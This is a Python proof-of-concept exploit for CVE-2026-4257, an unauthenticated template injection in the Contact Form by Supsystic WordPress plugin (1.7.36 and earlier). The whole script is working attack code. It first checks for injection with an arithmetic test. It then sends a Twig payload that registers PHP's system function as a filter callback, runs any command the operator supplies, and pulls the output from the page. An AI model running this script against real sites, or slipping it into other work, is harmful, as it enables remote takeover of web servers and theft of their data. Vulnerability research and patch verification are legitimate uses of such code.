Contact Form by Supsystic <= 1.7.36 Unauthenticated SSTI to RCE (CVE-2026-4257)

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import requests
import argparse
import re
import urllib.parse

def check_ssti(url, field_name):
    print(f"[*] Testing SSTI on {url} with field {field_name}...")
    
    # Simple arithmetic test
    test_payload = "{{7*7}}"
    params = {
        "cfsPreFill": "1",
        field_name: test_payload
    }
    target_url = f"{url}?{urllib.parse.urlencode(params)}"
    
    try:
        response = requests.get(target_url, verify=False, timeout=10)
        if "49" in response.text:
            print("[+] SSTI confirmed! Found '49' in response.")
            return True
        else:
            print("[-] SSTI test failed. '49' not found in response.")
            return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def trigger_rce(url, field_name, command):
    print(f"[*] Triggering RCE: {command}")
    
    # Payload to register system as a filter callback and then call it
    # We use forms.params.fields.1.value and fields.2.value to avoid quote escaping
    # last_name will be 'system', email will be the command
    payload = "{{_self.env.registerUndefinedFilterCallback(forms.params.fields.1.value)}}{{_self.env.getFilter(forms.params.fields.2.value)}}"
    
    params = {
        "cfsPreFill": "1",
        field_name: payload,
        "last_name": "system",
        "email": command
    }
    
    target_url = f"{url}?{urllib.parse.urlencode(params)}"
    
    try:
        response = requests.get(target_url, verify=False, timeout=10)
        print(f"[*] Response Status: {response.status_code}")
        
        # Look for common patterns in the response that might indicate success
        # The output usually appears in the 'value' attribute of the first field
        match = re.search(r'name="fields\[' + field_name + r'\]" value="([^"]+)"', response.text)
        if match:
            print(f"[!] RCE SUCCESS! Output:")
            print(f"----------------------------------------")
            print(match.group(1))
            print(f"----------------------------------------")
            return True
        else:
            print("[-] Could not find command output in response. Check the response body manually.")
            return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    print("""
CVE-2026-4257
Contact Form by Supsystic <= 1.7.36 - Unauthenticated Server-Side Template Injection via Prefill Functionality

-------------------------------------------------
    """)
    
    parser = argparse.ArgumentParser(description="PoC for CVE-2026-4257 (SSTI to RCE in Contact Form by Supsystic)")
    parser.add_argument("-u", "--url", required=True, help="URL of the page with the form")
    parser.add_argument("-f", "--field", required=True, help="Name of the form field (e.g., first_name)")
    parser.add_argument("-c", "--cmd", default="whoami", help="Command to execute")
    
    args = parser.parse_args()
    
    if check_ssti(args.url, args.field):
        trigger_rce(args.url, args.field, args.cmd)